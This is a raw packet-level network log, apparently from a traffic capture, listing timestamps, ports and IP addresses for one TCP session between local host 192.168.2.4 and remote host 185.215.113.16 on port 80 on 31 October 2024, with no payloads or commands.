Oct 31, 2024 23:38:10.036642075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036652088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036660910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036660910 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036670923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036683083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036694050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036704063 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036721945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036736965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036737919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036747932 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036756992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036766052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036776066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036788940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036794901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036798954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036814928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036864042 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116686106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116712093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116720915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116735935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116744995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116759062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116767883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116776943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116782904 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116816044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116820097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116832018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116835117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116842985 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116863012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116863966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116895914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116895914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116909027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116919994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116930008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116940022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.116941929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116955996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.116991043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117223978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117233992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117243052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117266893 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117290974 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117317915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117327929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117337942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117361069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117386103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117563963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117573977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117587090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117602110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117608070 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117611885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117623091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117634058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117635012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117657900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117672920 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117789984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117799044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117808104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117816925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117826939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117841005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117842913 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117851019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117860079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117866993 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117871046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117873907 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117903948 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117917061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117923021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117927074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117944002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117954016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117954016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117964983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117971897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.117978096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.117990017 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118010998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118057013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118071079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118078947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118089914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118093967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118100882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118109941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118117094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118119001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118128061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118138075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118140936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118148088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118158102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118159056 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118170977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118196964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118582964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118593931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118603945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118629932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118643999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118648052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118658066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118666887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118678093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118685961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118705034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118724108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118840933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118855953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118865967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118876934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118885040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118886948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118897915 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118922949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118923903 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118957996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.118963957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.118973970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119009972 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119688988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119700909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119710922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119720936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119730949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119744062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119745970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119756937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119766951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119780064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119782925 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119782925 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119790077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119807005 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119832993 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119915009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119925022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119932890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119942904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119952917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119957924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119961977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119971037 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.119977951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119987965 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119997978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.119998932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120008945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120021105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120039940 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120059967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120630026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120640039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120649099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120657921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120671988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120673895 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120683908 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120690107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120691061 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120698929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120708942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120713949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120719910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120740891 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120760918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120835066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120846033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120853901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120863914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120876074 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120876074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120887995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120889902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120902061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120912075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.120920897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120927095 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.120955944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121088982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121098995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121113062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121121883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121129036 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121130943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121153116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121155977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121165991 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121172905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121174097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121182919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121192932 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121203899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121205091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121213913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.121222973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121236086 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.121252060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.150510073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150533915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150546074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150604963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150615931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150615931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.150615931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.150625944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.150681973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.150681973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.150954008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151000023 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151032925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151067972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151077986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151104927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151138067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151150942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151161909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151176929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151180983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151192904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151197910 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151205063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151217937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151223898 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151228905 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151253939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151278019 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151421070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151432037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151442051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151453018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151458979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151464939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151474953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151479006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151493073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151504993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151514053 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151515961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151526928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151529074 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151537895 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151550055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151557922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151561975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151573896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151585102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151587009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151598930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151602030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151611090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151621103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.151623964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151647091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151667118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.151964903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152005911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152043104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152055025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152085066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152096987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152168036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152209044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152215958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152229071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152254105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152266026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152460098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152472019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152482033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152492046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152498960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152503014 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152513981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152518988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152532101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152544022 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152544975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152555943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152561903 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152566910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152578115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152589083 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152590036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152601957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152612925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152618885 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152637959 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152640104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152651072 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152669907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152678967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152682066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152693033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152707100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152709961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152719021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152723074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152734041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152741909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152745962 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152759075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152761936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152770042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152781010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152786970 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152797937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152810097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152821064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152821064 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152851105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152856112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152862072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152873039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152884960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152888060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152895927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152908087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152914047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152919054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152930975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152941942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.152945042 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152962923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.152981043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153120041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153131008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153141975 CET	80	49806	185.215.113.16	192.168.2.4
